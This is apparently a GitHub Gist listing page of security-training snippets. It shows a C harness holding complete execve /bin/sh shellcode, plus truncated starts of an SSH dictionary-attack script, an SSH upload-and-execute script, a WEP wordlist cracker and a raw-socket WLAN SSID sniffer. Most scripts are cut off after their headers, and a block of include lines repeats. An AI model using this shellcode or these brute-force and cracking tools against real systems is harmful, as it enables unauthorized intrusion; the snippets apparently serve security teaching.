Skip to content

Instantly share code, notes, and snippets.

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<features.h>
#include<linux/if_packet.h>
#include<linux/if_ether.h>
#include<errno.h>
#include<sys/ioctl.h>
#include<net/if.h>
#include<net/ethernet.h>
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<features.h>
#include<linux/if_packet.h>
#include<linux/if_ether.h>
#include<errno.h>
#include<sys/ioctl.h>
#include<net/if.h>
#include<net/ethernet.h>
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<features.h>
#include<linux/if_packet.h>
#include<linux/if_ether.h>
#include<errno.h>
#include<sys/ioctl.h>
#include<net/if.h>
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<features.h>
#include<linux/if_packet.h>
#include<linux/if_ether.h>
#include<errno.h>
#include<sys/ioctl.h>
#include<net/if.h>
#include<net/ethernet.h>
@securitytube
securitytube / shellcode.c
Created April 5, 2013 12:14
C Program to test shellcode
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
@securitytube
securitytube / Execve-Stack.nasm
Created April 5, 2013 11:58
Execve /bin/sh using the Stack Method
; Author: Vivek Ramachandran
; Website: http://securitytube.net
; Training: http://securitytube-training.com
;
global _start
section .text
_start:
@securitytube
securitytube / UploadAndExecute.py
Created April 4, 2013 07:03
SSH Upload and Execute Script
#!/usr/bin/env python
"""
Author: Vivek Ramachandran
Website: http://SecurityTube.net
Online Infosec Training: http://SecurityTube-Training.com
"""
import paramiko
@securitytube
securitytube / SSHDictionaryAttack.py
Created April 4, 2013 06:24
SSH Dictionary Attack using Usernames and Password Lists
#!/usr/bin/env python
"""
Author: Vivek Ramachandran
Website: http://SecurityTube.net
Online Infosec Training: http://SecurityTube-Training.com
"""
import paramiko
@securitytube
securitytube / airdecap-wep-word-list-cracker.py
Created April 2, 2013 15:04
Converting Airdecap-ng into a Word list based WEP Cracker
#!/usr/bin/python
# Author - Vivek Ramachandran vivek@securitytube.net
#
import sys, binascii, re
from subprocess import Popen, PIPE
f = open(sys.argv[1], 'r')
for line in f:
wepKey = re.sub(r'\W+', '', line)
@securitytube
securitytube / wlan-ssid-sniffer-python-raw-sockets.py
Created April 2, 2013 14:56
WLAN SSID Sniffer in Python using Raw Sockets
#!/usr/bin/env python
import socket
rawSocket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
rawSocket.bind(("mon0", 0x0003))
ap_list = set()
while True :
pkt = rawSocket.recvfrom(2048)[0]
if pkt[26] == "\x80" :
if pkt[36:42] not in ap_list and ord(pkt[63]) > 0:
ap_list.add(pkt[36:42])